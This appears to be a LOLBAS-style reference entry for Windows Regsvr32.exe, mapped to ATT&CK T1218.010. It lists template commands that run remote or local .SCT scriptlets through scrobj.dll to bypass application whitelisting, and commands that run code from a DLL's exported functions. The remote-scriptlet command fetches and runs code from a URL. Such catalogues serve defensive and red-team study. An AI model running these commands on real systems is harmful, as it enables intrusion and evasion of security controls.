.. /Regsvr32.exe
Star

AWL bypass (SCT, Remote)
Execute (SCT, Remote, DLL)

Used by Windows to register dlls

Paths:

Resources:

Acknowledgements:

Detections:

AWL bypass

  1. Execute the specified remote .SCT script with scrobj.dll.

    regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
    Use case

    Execute code from remote scriptlet, bypass Application whitelisting

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: SCT
    Execute: Remote
  2. Execute the specified local .SCT script with scrobj.dll.

    regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
    Use case

    Execute code from scriptlet, bypass Application whitelisting

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: SCT

Execute

  1. Execute the specified remote .SCT script with scrobj.dll.

    regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
    Use case

    Execute code from remote scriptlet, bypass Application whitelisting

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: SCT
    Execute: Remote
  2. Execute the specified local .SCT script with scrobj.dll.

    regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
    Use case

    Execute code from scriptlet, bypass Application whitelisting

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: SCT
  3. Execute code in a DLL. The code must be inside the exported function DllRegisterServer.

    regsvr32.exe /s {PATH:.dll}
    Use case

    Execute DLL file

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: DLL
  4. Execute code in a DLL. The code must be inside the exported function DllUnRegisterServer.

    regsvr32.exe /u /s {PATH:.dll}
    Use case

    Execute DLL file

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010
    Tags
    Execute: DLL